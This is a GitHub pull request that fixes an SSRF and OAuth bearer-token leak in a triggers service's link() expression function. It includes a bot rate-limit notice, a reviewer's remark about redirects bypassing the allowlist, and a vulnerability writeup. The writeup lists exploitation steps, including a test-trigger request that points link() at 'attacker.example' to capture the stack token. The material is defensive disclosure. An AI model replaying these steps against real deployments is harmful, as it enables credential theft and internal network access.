fix(triggers): restrict link() to an allow-listed host (SSRF/token leak) (EN-1219) - #182
fix(triggers): restrict link() to an allow-listed host (SSRF/token leak) (EN-1219)#182flemzord wants to merge 1 commit into
Conversation
The link() expression function performed an HTTP GET using the
fx-provided *http.Client, which in production is the OAuth2
client-credentials client carrying the stack bearer token (broad
ledger/wallets/payments scopes). Because link() targets a URI taken
from a user-controlled trigger expression (reachable via
POST /v2/triggers/{id}/test, which also returns the response body),
an authenticated caller could point it at an arbitrary host and
exfiltrate the stack token, or reach internal-only services (SSRF).
Restrict link() to an allow-listed host (the configured stack URL),
reject non-http(s) schemes, and close the response body. With no
allow-listed host configured, link() network calls are denied.
The allowlist is threaded through triggers.NewModule(stack, stackURL,
taskQueue).
|
Warning Review limit reached
More reviews will be available in 48 minutes and 4 seconds. Learn how PR review limits work. Your organization has run out of usage credits. Purchase more credits in the billing tab to continue. ⌛ How to resolve this issue?After more reviews become available, a review can be triggered using the We recommend that you space out your commits to avoid hitting the rate limit. 🚦 How do rate limits work?CodeRabbit enforces hourly rate limits for each developer per organization. Our paid plans include higher PR review limits than trial, open-source, and free plans. In all cases, reviews become available again over time. During sustained high-volume PR review activity, CodeRabbit may temporarily slow when the next review becomes available. Please see our Fair Usage Limits Policy for further information. ℹ️ Review info⚙️ Run configurationConfiguration used: Organization UI Review profile: CHILL Plan: Pro Run ID: 📒 Files selected for processing (4)
✨ Finishing Touches🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
| if err := h.checkLinkURL(filteredLinks[0].URI); err != nil { | ||
| return nil, err | ||
| } | ||
| rsp, err := h.httpClient.Get(filteredLinks[0].URI) |
There was a problem hiding this comment.
The allowlist is only checked before the initial request. http.Client.Get follows redirects, and because this is still the OAuth2 client/transport, a 30x from an allowlisted stack URL to another host will issue the redirected request with the bearer token attached. That keeps the token-exfiltration path open if the stack host has any redirect endpoint. Please either disable redirects for this client or install a CheckRedirect hook that re-runs the same allowlist check for every redirect target before following it.
|
Superseded by #199, which consolidates this change with the related reliability and safety fixes on top of the current main branch. |
Problem (C1 — CRITICAL)
The
link(object, rel)expression function (internal/triggers/expression.go) performs:The
*http.Clientinjected into the evaluator is, in production, the OAuth2 client-credentials client built incmd/root.gocarrying the stack bearer token (scopesledger/wallets/payments:read+write). Theoauth2.TransportattachesAuthorization: Bearer <stack-token>to every outbound request, with no host restriction.The URI comes from a user-controlled trigger expression. An authenticated caller can:
link(event, "self");POST /v2/triggers/{id}/testwith{"links":[{"name":"self","uri":"https://attacker.example/"}]};TestTriggerreturns the response body to the caller.This is a read-SSRF and a stack-credential exfiltration primitive (also reachable against internal-only services / cloud metadata).
Fix
link()to an allow-listed host (the configured stack URL) — preserves the legitimate use (fetching the stack's own resources via the token-bearing client) while blocking arbitrary hosts.http(s)schemes.link()network calls are denied (safe default).The allowed host is threaded through
triggers.NewModule(stack, stackURL, taskQueue)and applies to bothserveandworker(shared evaluator).Tests
TestLinkHostAllowlistasserts a non-allow-listed host is never contacted, the empty allowlist denies, and a matching host is allowed. ExistingTestEvalVariablesupdated to allow its httptest server.Severity: CRITICAL.